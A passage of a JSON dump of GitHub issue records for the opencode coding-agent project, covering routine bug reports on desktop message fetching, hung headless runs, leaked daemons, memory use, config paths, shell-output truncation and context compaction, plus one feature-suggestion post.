`limit=0`, which the server rejects with HTTP 400 (`Expected a value greater than or equal to 1, got 0`) — sent user messages then never render in the transcript even when the server is healthy. - The `claude-mem.js` plugin now fails to load on the new server: `SchemaError(Expected object, got async (t) => ...)`. ## Additional Context - Data is intact: session/message data verified present in `~/.local/share/opencode/opencode.db` (via API on a healthy 17400 service instance). - The old 17400 service process kept running alongside; the desktop connects to its own broken 17403 sidecar instead. - Recurs consistently after restart; `opencode2 service restart` does not fix it (desktop relaunches the broken sidecar).",
        "url": "https://github.com/anomalyco/opencode/issues/42266",
        "createdAt": "2026-08-13T07:38:09Z",
        "updatedAt": "2026-08-13T07:40:59Z",
        "timestamp": "2026-08-13T07:40:59Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "2.0"
        ],
        "author": "vigneshsmarther",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42267",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "desktop: sent user message not visible in chat — client sends limit=0 on message fetch, server rejects with 400",
        "text": "## Summary OpenCode Desktop beta (Windows): after sending a message, the user's own message text does not appear in the chat transcript, even though the message is received and stored server-side. Server logs show the desktop client calling `GET /api/session/<id>/message` with `limit=0`, which the API rejects with HTTP 400, so the message list never refreshes. ## Environment - opencode version: 0.0.0-next-17400/17403 server, desktop app v0.0.0-beta-17402 - OS: Windows 10.0.26200 (win32 x64) - Terminal: OpenCode Desktop app (Electron beta build) - Shell: C:\\WINDOWS\\system32\\cmd.exe - Install/channel: beta / next - Active plugins: claude-mem.js (local), opencode-see-image@1.3.0 ## Reproduction 1. Open the desktop beta app and start or continue a session. 2. Type a message and send it. 3. The assistant responds (message is received), but the typed user message never renders in the chat transcript. Occurs intermittently; also observed while the server was healthy (this is not the \"Path is not absolute\" 500 regression). ## Expected Behavior Sent user messages appear immediately in the chat transcript. ## Actual Behavior The message is stored server-side (verified via `opencode2 api get /api/session/<id>/message` — the message exists) but is not shown in the UI. Server log (role=server) shows the client sending an invalid request: ``` level=WARN message=\"schema rejection\" kind=Query reason=\"Expected a value greater than or equal to 1, got 0\\n at [\\\"limit\\\"]\" level=INFO message=\"Sent HTTP response\" http.method=GET http.url=/api/session/ses_.../message http.status=400 ``` The desktop client is sending `limit=0` on the message-list request, which the schema rejects (limit must be >= 1), so the chat list never refreshes with the new message. ## Additional Context - Recurs intermittently; service restart does not fix it. - Possibly related to existing desktop issues #31200 / #31292 / #28228 (composer draft loss), but this is a different symptom: sent messages missing from the transcript. - Also see #42266 for a related desktop sidecar regression (all API 500s) observed on the same setup.",
        "url": "https://github.com/anomalyco/opencode/issues/42267",
        "createdAt": "2026-08-13T07:39:16Z",
        "updatedAt": "2026-08-13T07:41:00Z",
        "timestamp": "2026-08-13T07:41:00Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "2.0"
        ],
        "author": "vigneshsmarther",
        "state": "open",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42268",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "`opencode run` (headless) never exits after a fatal non-retryable provider error — hung 3 days on \"Monthly usage limit reached\"",
        "text": "## Summary When the provider returns a **fatal, non-retryable** API error on the very first stream, `opencode run` (headless) logs the error and then **never exits**. The process stays alive indefinitely, produces no further stdout/stderr, and returns no exit code. In my case three independent `opencode run` invocations hit `AI_APICallError: Monthly usage limit reached` about 3 seconds after start, and were still running **3 days later** (78+ hours) when I killed them manually. They were not blocked on a dead socket — the runtime was alive the whole time, still firing its hourly snapshot-cleanup timer. This is the headless counterpart of #32366 (TUI stuck on \"thinking\" after a stream error, no state recovery). For `run` the consequence is worse: there is no user watching, and no exit means any supervising wrapper is pinned open forever. ## Environment | | | |---|---| | opencode | **1.18.15** (`npm i -g opencode-ai`) | | OS | macOS 15.3.1 (24D70), Darwin 24.3.0, arm64 | | Hardware | Apple M4, Mac mini | | Node | v24.5.0 | | Provider / model | `opencode-go` / `deepseek-v4-pro` | | Invocation | non-interactive, via launchd (no TTY) | Command (run on a schedule, 3 different agents/skills): ``` opencode run --auto --dir /path/to/project --model opencode-go/deepseek-v4-pro \"<prompt>\" ``` ## What happened Three scheduled runs started at 00:00, 04:00 and 08:00 UTC on 2026-08-10. All three: 1. bootstrapped normally, created a session, entered `loop step=0` 2. issued the first stream request 3. received `AI_APICallError: Monthly usage limit reached. Resets in 4 days.` 4. **never exited** — still alive 78 hours later All three stopped emitting output at the identical point — the agent header line, with nothing after it: ``` > build · deepseek-v4-pro ``` (Same terminal symptom as the closed #17516, but a different trigger: that one hung *after* a successful run's tool calls, this one hangs on a *failed* first request.) ## Evidence From `~/.local/share/opencode/log/opencode.log` (paths/IDs redacted). Run `cdd5bd15`, started 00:00:05Z: ``` timestamp=2026-08-10T00:00:05.517Z level=INFO run=cdd5bd15 message=\"creating instance\" directory=<project> timestamp=2026-08-10T00:00:08.877Z level=INFO run=cdd5bd15 message=\"llm runtime selected\" llm.runtime=ai-sdk llm.provider=opencode-go llm.model=deepseek-v4-pro timestamp=2026-08-10T00:00:09.430Z level=ERROR run=cdd5bd15 message=\"stream error\" providerID=opencode-go modelID=deepseek-v4-pro session.id=<redacted> small=false agent=build mode=primary error.error=\"AI_APICallError: Monthly usage limit reached. Resets in 4 days. To continue using this model now, enable usage from your available balance: https://opencode.ai/workspace/<redacted>/go\" timestamp=2026-08-10T00:17:21.861Z level=ERROR run=cdd5bd15 message=\"stream error\" ... small=true agent=title mode=primary error.error=\"AI_RetryError: Failed after 3 attempts. Last error: Cannot connect to API: The socket connection was closed unexpectedly.\" ``` After that second error at 00:17Z, **the only thing this run ever logged again** — for the next 3 days — was its hourly cleanup timer: ``` timestamp=2026-08-10T01:17:26.9Z level=INFO run=cdd5bd15 message=cleanup prune=7.days timestamp=2026-08-10T02:17:26.5Z level=INFO run=cdd5bd15 message=cleanup prune=7.days ... timestamp=2026-08-13T06:17:37.5Z level=INFO run=cdd5bd15 message=cleanup prune=7.days <- last, 78h after start ``` Of that run's 106 total log entries, **79 are this cleanup line**. The other two runs are identical in shape (99 entries / 57 cleanup, 102 / 59). The process was measurably *spinning*, not cleanly blocked: ``` $ ps -o pid,stat,etime,time -p 8231 PID STAT ELAPSED TIME 8231 S 03-06:53:07 55:13.03 # 55 min CPU over 78.9 h ≈ 1.2% sustained ``` Side effect worth noting: those hourly cleanups eventually started failing against each other, since three abandoned runs were all gc'ing the same snapshot dir — ``` level=WARN run=976bb9a4 message=\"cleanup failed\" exitCode=128 stderr=\"fatal: gc is already running on machine '<host>' pid 68550 (use --force if not)\" level=WARN run=20aebd72 message=\"cleanup failed\" exitCode=128 stderr=\"fatal: Unable to create '<snapshot>/....lock': File exists\" ``` ## Expected behavior A fatal, non-retryable provider error (quota exhausted, auth failure, 4xx that will never succeed on retry) in headless `run` should print the error to stderr and **exit with a non-zero status**. ## Actual behavior The error is written to the log only, nothing reaches stderr, and the process runs forever. ## Impact This is specifically painful for scheduled/CI use, which is what `run` is for. My jobs are wrapped in `caffeinate -i` (macOS: hold a sleep assertion for the child's lifetime). Because `opencode run` never exited: - 3 stuck processes held **78 hours of `PreventUserIdleSystemSleep`** — the machine could not sleep for 3 days while nobody was using it, and ran hot the whole time - ~950 MB RSS retained - the scheduled job never ran again (launchd won't relaunch a label whose previous instance is still alive), so **3 days of audits were silently skipped** with no failure signal anywhere Any supervisor that waits on the child — CI runner, systemd unit, `cron` + wrapper, GitHub Actions step — has the same exposure. The only reliable mitigation today is an external wall-clock timeout, which I've since added. ## Reproduction Deterministic path I hit (3/3): 1. Exhaust the monthly quota on an `opencode-go` model 2. `opencode run --auto --dir <project> --model opencode-go/deepseek-v4-pro \"<any prompt>\"` with no TTY 3. Observe `stream error ... AI_APICallError: Monthly usage limit reached` in the log, `> build · <model>` as the last stdout line, and a process that never returns I'd expect any fatal non-retryable provider error to do the same (e.g. a revoked/invalid API key), but I have only verified the quota variant. ## Suggested fix In the headless `run` path, treat a stream error that is not retryable as terminal: surface it on stderr and exit non-zero, rather than falling through to an idle event loop. A belt-and-braces `--timeout` flag on `run` would also help, since it would bound *any* future hang class in unattended use.",
        "url": "https://github.com/anomalyco/opencode/issues/42268",
        "createdAt": "2026-08-13T07:47:21Z",
        "updatedAt": "2026-08-13T08:06:52Z",
        "timestamp": "2026-08-13T08:06:52Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "DaisukeYoda",
        "state": "closed",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42269",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Comment Box UX Bug: Comment Popup appears upon hitting a line meanwhile should appear if the user Hits plus '+' icon button for adding Comment",
        "text": "https://github.com/user-attachments/assets/0b1eda3c-2b5e-4fe7-939c-81be212c5fbe UX is for adding a comment on a line(s), which is good but was better before the recent update because with this update, once I hit a line—even just once—it makes a comment pop up. Meanwhile, if the user needs to make a comment, they should hit the '+' icon on the left side. This behavior makes it annoying and harder to do highlights because even before the user could go on highlighting multiple lines, the popup has already come up. The first video shows how the user uses the '+' icon to add a comment; the one that follows shows the UX bug I explained in the above paragraph. The Comment popup comes up by just hitting one single line; meanwhile, it should appear if the user hits a plus (+) icon on the left. https://github.com/user-attachments/assets/02e6860f-b74f-40cf-b487-f0951d5abc11 HOPE THIS HELPs, THANKS, OPENCODE!!",
        "url": "https://github.com/anomalyco/opencode/issues/42269",
        "createdAt": "2026-08-13T07:49:30Z",
        "updatedAt": "2026-08-13T10:24:10Z",
        "timestamp": "2026-08-13T10:24:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "Significant-Hacks",
        "state": "closed",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42270",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "service: restart leaves stale daemon and duplicated MCP servers running",
        "text": "## Summary `opencode2 service restart` starts a new `serve --service` daemon without terminating the old one; the stale daemon and its MCP server children keep running, duplicating MCP servers and leaking ~1.5 GB of RAM until manually killed. ## Environment - opencode version: 0.0.0-next-17403 (next channel, V2 beta) - OS: macOS 26.6.1 (Darwin 25.6.0, arm64) - Terminal: Apple_Terminal, TERM=xterm-256color - Shell: /bin/zsh - Install/channel: local binary in ~/.opencode/bin, channel `next` - Active plugins: ~/.config/opencode/plugins.v2/memory.ts (opencode-memory) ## Reproduction 1. Configure local MCP servers (e.g. `npx -y @playwright/mcp --browser chromium` and `npx -y @llmindset/hf-mcp-server`) in `~/.config/opencode/opencode.jsonc`. 2. Start a session (spawns the `serve --service` daemon plus the MCP children). 3. Run `opencode2 service restart` (or `service stop` followed by starting a new session). 4. Inspect the process tree: the old daemon and its MCP children are still alive next to the new daemon and its own fresh MCP children. Observed today on macOS arm64: - Old daemon PID 79746 `opencode2 serve --service`, RSS ~700-780 MB, still running after the restart - Its children still alive: 2x `npm exec @playwright/mcp --browser chromium` and 1x `npm exec @llmindset/hf-mcp-server`, ~85-90 MB each - New daemon PID 80086 with its own set of MCP servers - Net result: two Playwright MCP instances running concurrently, ~1.5 GB held by the stale tree ## Expected Behavior `service restart` (and `service stop`) should terminate the previous daemon's entire process tree, including its MCP children, before starting the new one. ## Actual Behavior The old daemon and all its MCP children keep running after the restart, duplicating MCP servers and leaking memory. The stale tree could only be cleaned manually (`kill -9` on the old daemon), and it took its MCP children down with it. ## Additional Context Combined with the daemon's high idle RSS (see related perf issue), opencode2 processes peaked at ~2 GB RSS on a 16 GB MacBook Air. The duplication happened on a single restart, so it looks consistent rather than intermittent. Related: an earlier service restart had also left the previous daemon's MCP servers behind, which is how multiple Playwright instances accumulated.",
        "url": "https://github.com/anomalyco/opencode/issues/42270",
        "createdAt": "2026-08-13T07:52:36Z",
        "updatedAt": "2026-08-13T08:01:00Z",
        "timestamp": "2026-08-13T08:01:00Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "2.0"
        ],
        "author": "cioffiAI",
        "state": "open",
        "assignees": [
          "neriousy"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42271",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "service: idle background daemon holds ~700-800MB RSS",
        "text": "## Summary The `serve --service` background daemon stays resident 24/7 holding ~700-800 MB RSS with no active sessions and 0% CPU (97% of `sample` frames in `kevent64` wait), which shows up as a permanent memory/energy footprint in Activity Monitor on a 16 GB MacBook Air. ## Environment - opencode version: 0.0.0-next-17403 (next channel, V2 beta) - OS: macOS 26.6.1 (Darwin 25.6.0, arm64) - Terminal: Apple_Terminal, TERM=xterm-256color - Shell: /bin/zsh - Install/channel: local binary in ~/.opencode/bin, channel `next` - Active plugins: ~/.config/opencode/plugins.v2/memory.ts (opencode-memory) ## Reproduction 1. Run `opencode2` in a terminal (attaches to the `serve --service` daemon). 2. Close the TUI session; the daemon remains in the background. 3. Measure: `ps -o pid,rss,pcpu,command -p <daemon-pid>` and `sample <daemon-pid>`. Observed: - Daemon RSS: ~700-780 MB while idle, 0% CPU - `sample`: main thread 1676/1729 frames in `kevent64` (waiting), all worker threads in `_pthread_cond_wait` — fully idle but not releasing memory - With an active TUI session (~600 MB) plus MCP children (~350 MB), total opencode2 footprint reached ~2 GB ## Expected Behavior An idle background daemon should hold a much smaller resident footprint (tens of MB), or exit when no sessions are active, or make residency configurable. ## Actual Behavior ~700-800 MB RSS stays permanently resident even with no sessions open; macOS Activity Monitor reports it as a persistent energy/memory consumer and the memory is never reclaimed. ## Additional Context Workarounds: `opencode2 service stop` when not needed, or `--standalone` mode (private per-session server) to avoid a persistent daemon. Also observed: a leftover TUI session process remained in stopped state (T/SIGSTOP, ~240 MB RSS) after sessions were closed — likely job-control related, but it was not reaped either. Reproduction is consistent: the daemon holds this footprint every day.",
        "url": "https://github.com/anomalyco/opencode/issues/42271",
        "createdAt": "2026-08-13T07:52:37Z",
        "updatedAt": "2026-08-13T08:01:01Z",
        "timestamp": "2026-08-13T08:01:01Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "2.0"
        ],
        "author": "cioffiAI",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42272",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI stuck when a message is queue and questions pop out",
        "text": "### Description TUI stuck when a message is queue and questions pop out. Inside a session ### Plugins no plugins ### OpenCode version 1.18.16 ### Steps to reproduce 1. openup a session 2. prompt something that makes ai work for a whle then should ask you a question 3. queue a message, in plan mode 4. now its stuck, you can type your answer but cant confirm your answer, while `<c-c>` wont work ### Screenshot and/or share link its bugged out i cant even quit, so no share link ### Operating System Windows 11 WSL debian ### Terminal vscode intergrated terminal ## Checked other issues https://github.com/anomalyco/opencode/issues/38552: Similar issue where Enter/Confirm doesn't respond on question prompts, also reproduced in VS Code integrated terminal https://github.com/anomalyco/opencode/issues/28112: AskUserQuestion modal is undismissable and Ctrl-C does not work while a question prompt is open https://github.com/anomalyco/opencode/issues/27503: OpenCode gets stuck infinitely after re-asking questions Its different. I beleive its due to the queued prompt",
        "url": "https://github.com/anomalyco/opencode/issues/42272",
        "createdAt": "2026-08-13T08:02:46Z",
        "updatedAt": "2026-08-13T08:09:27Z",
        "timestamp": "2026-08-13T08:09:27Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "SamYue1",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42273",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential",
        "text": "new vision（1.18.18.0）：Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential",
        "url": "https://github.com/anomalyco/opencode/issues/42273",
        "createdAt": "2026-08-13T08:06:44Z",
        "updatedAt": "2026-08-13T10:24:07Z",
        "timestamp": "2026-08-13T10:24:07Z",
        "metrics": {
          "reactions": 4,
          "comments": 2
        },
        "labels": [],
        "author": "e4glet",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42276",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Config.update() writes runtime local config to ignored project-root config.json (re-open)",
        "text": "### Description Runtime local config updates made through `Config.update()` do not round-trip through instance disposal/reload correctly. `Config.update()` writes to project-root `config.json`, but fresh project config loading reads the normal `opencode.json` / `opencode.jsonc` paths and local `.opencode/opencode.json[c]` overlays instead. Because of that mismatch, a runtime config update can appear to work immediately, then disappear after the instance is disposed and reloaded. Related: - Duplicate of #28966 (auto-closed after inactivity) - Previous fix attempt PR #28967 was closed unmerged, the bug is still present on `dev` ### Proposed fix Write runtime local updates to the file the loader reads last (existing `.opencode/opencode.jsonc`, else `.opencode/opencode.json`, else plain `opencode.json` / `opencode.jsonc`), merging with existing content. ### Plugins _No response_ ### OpenCode version v1.18.2 and current dev ### Steps to reproduce 1. Start with a project where a runtime config update changes agent config through the config update path 2. Trigger the config update 3. Let the instance get disposed/reloaded 4. Use the updated config again after reload ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42276",
        "createdAt": "2026-08-13T08:16:50Z",
        "updatedAt": "2026-08-13T08:18:15Z",
        "timestamp": "2026-08-13T08:18:15Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "mdrkrg",
        "state": "open",
        "assignees": [
          "neriousy"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42277",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "shell tool returns \"(no output)\" when a single line exceeds the byte limit",
        "text": "### Description When a command prints a single line larger than `tool_output.max_bytes` (default 50 KB) and the output ends with a newline, the shell tool hands the model a truncation banner followed by `(no output)` — the whole body is dropped. The same content without the trailing newline returns the expected 50 KB tail. Cause: `tail()` in `packages/opencode/src/tool/shell.ts:236-250` walks the lines backwards and byte-slices the last line when nothing else fits, guarded by `out.length === 0`. `split(\"\\n\")` appends an empty sentinel for the trailing newline; the sentinel costs 0 bytes but is unshifted into `out` first, so that guard is never true for output ending in a newline and the byte-slice fallback is unreachable. `bytes === 0` is the check that was intended. The existing `truncates output exceeding byte limit` test misses it because its generator writes the bytes without a trailing newline and only asserts the banner, not the body. Not #40728 (that one is about the spill file on disk — the spill file is complete here), and not #36795 / #35511 (intermittent capture races — this is deterministic). Disclosure: found and reproduced with AI assistance; I reviewed and verified every claim locally. ### Plugins _No response_ ### OpenCode version dev @ cc4b456 (v1.18.18) ### Steps to reproduce 1. Make a file that is one 80 KB line ending with a newline: ``` bun -e 'Bun.write(\"big.txt\",\"a\".repeat(80000)+\"\\n\")' ``` 2. Ask the agent to run `cat big.txt`. Expected: the last 50 KB of the line. Actual, 191 characters in total: ``` ...output truncated... Full output saved to: /…/tool-output/tool_xxx (no output) ``` Commands that hit this in practice: `cat` on a minified bundle or a single-line JSON/lockfile, `curl`, `jq -c`, `base64`, `docker inspect`. ### Screenshot and/or share link _No response_ ### Operating System macOS 15 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42277",
        "createdAt": "2026-08-13T08:30:30Z",
        "updatedAt": "2026-08-13T08:31:34Z",
        "timestamp": "2026-08-13T08:31:34Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "codeAnqiang-ma",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42279",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Report: `deepseek-v4-pro` fails on OpenCode Go `/v1/responses` with 503 while `deepseek-v4-flash` works",
        "text": "### Description Report: `deepseek-v4-pro` fails on OpenCode Go `/v1/responses` with 503 while `deepseek-v4-flash` works ## Summary Using Codex (Codex++ / Codex Desktop, Windows 11) with OpenCode Go: - Base URL: `https://opencode.ai/zen/go/v1` - Wire API: `responses` - Model: `deepseek-v4-pro` `deepseek-v4-flash` works with the exact same setup. `deepseek-v4-pro` consistently fails with: ```text Unexpected status 503 Service Unavailable: Upstream request failed: Endpoint is unavailable. url: https://opencode.ai/zen/go/v1/responses cf-ray: a2a64751b90a6817-SEA ``` Codex retries (\"正在重新连接 5/5\") and receives the same 503 each time. ## Expected behavior `POST https://opencode.ai/zen/go/v1/responses` with model `deepseek-v4-pro` should be routed to an available upstream and return a normal response. Ideally it should be forwarded to DeepSeek's native Responses API the way `deepseek-v4-flash` currently is. ## Steps to reproduce 1. Configure Codex with `model = \"deepseek-v4-pro\"`, `base_url = \"https://opencode.ai/zen/go/v1\"`, `wire_api = \"responses\"`. 2. Start a new conversation and send a normal request. 3. Observe the 503 error above. The same configuration with `deepseek-v4-flash` works normally. ## Notes - Reproduced on 2026-08-13. - `Endpoint is unavailable` suggests the gateway cannot reach a usable upstream for this model rather than a client-side request error. - DeepSeek's official API now supports the Responses API for `deepseek-v4-pro` (DeepSeek-V4-Pro-0813), so native passthrough should be feasible. - Related issues: #42135, #42090, #42091, #40171. ## Environment - OS: Windows 11 - Client: Codex Desktop / Codex++ - Model provider: OpenCode Go (`https://opencode.ai/zen/go/v1`) - Wire API: `responses` ### Plugins N/A，因为问题是在 Codex++ / Codex Desktop 里复现的，不是 OpenCode CLI。 ### OpenCode version N/A，没有使用 OpenCode 客户端，故障点是 https://opencode.ai/zen/go/v1。 ### Steps to reproduce 补上了完整 config.toml 片段，包含 model = \"deepseek-v4-pro\"、base_url = \"https://opencode.ai/zen/go/v1\"、wire_api = \"responses\"，并说明换成 Flash 可复现出“同一配置可正常使用”的对照组。 ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal N/A，在桌面客户端复现。",
        "url": "https://github.com/anomalyco/opencode/issues/42279",
        "createdAt": "2026-08-13T08:35:48Z",
        "updatedAt": "2026-08-13T09:03:40Z",
        "timestamp": "2026-08-13T09:03:40Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "KomorebiLabs",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42280",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "V2 external plugins silently fail to register agents/tools after startup",
        "text": "### Description External v2 plugins (configured via `plugin` in opencode.json, or scanned from config directories) are loaded by `ConfigExternalPlugin` in a forked fiber. That fiber inherits the ambient `State` batch from location startup, which runs inside `State.batch(...)` and drains its reload set as soon as the startup effect returns. By the time an async plugin load finishes (dynamic import, npm install), the batch has long committed, so the plugin's `transform()` calls enqueue their reload into a set nobody ever drains. The plugin appears to load without error, but the agents/tools/skills/commands it registers never materialize. ### Plugins Any v2 effect/promise plugin, e.g. a local file plugin that registers an agent via `ctx.agent.transform` ### OpenCode version dev branch (v1.18.18) ### Steps to reproduce 1. Write a v2 effect plugin that registers an agent, e.g. `export default define({ id: \"demo\", effect: (ctx) => ctx.agent.transform((agents) => { agents.update(\"demo\", (a) => { a.mode = \"subagent\" }) }).pipe(Effect.asVoid) })` 2. Reference it from the `plugin` array in opencode.json 3. Start opencode and list agents — `demo` never appears, and nothing is logged ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal Windows Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/42280",
        "createdAt": "2026-08-13T08:36:01Z",
        "updatedAt": "2026-08-13T08:37:13Z",
        "timestamp": "2026-08-13T08:37:13Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "To-Term",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42282",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Failed compaction silently drops pre-tail history from the model context",
        "text": "### Description When a compaction summary turn fails with a provider error, everything before the compaction boundary is dropped from the model context and no summary replaces it. The messages stay in the database, so the UI looks fine — the model just stops knowing about the earlier turns, and it repeats on every following turn because the marker is already persisted. Two things combine: 1. `processCompaction` persists `tail_start_id` on the compaction part even when the summary turn failed. The early return only covers `result === \"compact\"` (`packages/opencode/src/session/compaction.ts:450-466`); a provider error returns `\"stop\"` and falls straight through to the write. 2. `filterCompacted` uses two different tests for \"this compaction is complete\". The truncation loop requires `summary && finish && !error` (`message-v2.ts:541-542`), but the reordering branch below it only checks `summary` (`message-v2.ts:554-562`). That branch returns `[compaction..summary] + [tail..compaction] + [after summary]`, so everything before `tail_start_id` is dropped. With a failed summary there is nothing to replace it, and the errored assistant message is itself dropped by `toModelMessagesEffect`. So the loop says \"not complete, keep all history\" while the reorder says \"complete, drop everything before the tail\". The result is neither the summary nor the history. This is the `specs/v2/session.md` rule (\"A failed or interrupted attempt therefore leaves the previous history boundary active\") not holding in v1. Not #30806 (dangling partial summary on abort, closed) or #24700 / #24781 (fork not remapping `tail_start_id`). #42063 is adjacent but complementary — it rejects *empty* summaries, and its guard is `result === \"continue\" && !processor.message.error`, so the errored path here never reaches it. Disclosure: found and reproduced with AI assistance; I reviewed and verified every claim locally. ### Plugins _No response_ ### OpenCode version dev @ cc4b456 (v1.18.18) ### Steps to reproduce Happens whenever the summary request fails in a non-retryable way — expired key, exhausted credits, model unavailable, content filter — which is likely exactly when the context is largest. Reproduced end to end against the real `SessionCompaction.process` with persistence: three turns, then an auto-compaction whose summary request returns 401. Before: `process()` returns `stop`, the summary message carries the API error with no `finish`, but `tail_start_id` is still written. The next turn sees 3 of 5 stored messages — the first two topics are gone. After adding `finish` / `!error` to the reordering test, the next turn sees all 5. ### Screenshot and/or share link _No response_ ### Operating System macOS 15 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42282",
        "createdAt": "2026-08-13T08:44:24Z",
        "updatedAt": "2026-08-13T08:45:37Z",
        "timestamp": "2026-08-13T08:45:37Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "codeAnqiang-ma",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42284",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Opening a folder with the same name in different project directories navigates to the previously opened project",
        "text": "### Description When opening a folder with the same name from different project directories in the OpenCode desktop app, the app incorrectly navigates to the previously opened project instead of opening the newly selected folder. ### Plugins _No response_ ### OpenCode version v1.18.17 ### Steps to reproduce Create two projects with the same folder name structure: ProjectA/src/components ProjectB/src/components Open ProjectA/src/components in OpenCode desktop. Close or switch away from that folder. Attempt to open ProjectB/src/components (the folder with the same name but under a different parent project). ### Screenshot and/or share link _No response_ ### Operating System Windows11 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42284",
        "createdAt": "2026-08-13T08:51:46Z",
        "updatedAt": "2026-08-13T08:53:13Z",
        "timestamp": "2026-08-13T08:53:13Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "ly12300",
        "state": "open",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42285",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "On Enhancing AI Programming Assistants: Three Practical Suggestions for Tooling Optimization",
        "text": "Reflections and Suggestions on AI Programming Tools Over the past year and a half, I have extensively used various AI‑powered programming assistants and gained considerable hands‑on experience. Based on this, I would like to offer the following three suggestions for your consideration: Integrate open‑source high‑performance search tools as a priority I recommend incorporating mature open‑source solutions such as the CLI version of everything (on Windows) or rg (ripgrep). These tools significantly outperform conventional grep in large codebases, drastically reducing context‑retrieval latency and improving overall responsiveness. Develop dedicated file‑editing tools instead of relying on a generic editor While the current built‑in editor works for basic tasks, it frequently encounters issues like garbled text, freezes, or editing failures when handling non‑UTF‑8 encodings, extremely large files, or complex document formats. I suggest building a purpose‑built editing component tailored for AI‑driven scenarios, ensuring robust handling of various edge cases. Build language‑specific syntax‑parsing and summarisation toolchains For different programming languages, a structured set of analytical tools should be designed. Taking Java projects as an example, from a high‑level perspective, the constituent elements (packages, classes, methods, fields) are finite. It is entirely feasible to emulate the capabilities of IDEs like IntelliJ IDEA, enabling rapid generation of: Complete lists of classes and methods along with their signatures; A holistic “map” and bird’s‑eye view of the entire project; Dependency trees; ASCII diagrams of module partitioning and logical architecture. Going further, can we provide: Code vectorisation tools that support semantic‑similarity search via vector embeddings; A knowledge graph that decomposes code into function‑call relationships, where each node carries metadata such as class fields, method names, and method comments? The refinement of such fundamental tools would substantially reduce token consumption, accelerate inference, and significantly enhance the AI’s global understanding of the project and the quality of its generated outputs.",
        "url": "https://github.com/anomalyco/opencode/issues/42285",
        "createdAt": "2026-08-13T09:03:35Z",
        "updatedAt": "2026-08-13T11:17:12Z",
        "timestamp": "2026-08-13T11:17:12Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "xiyuan27-rgb",
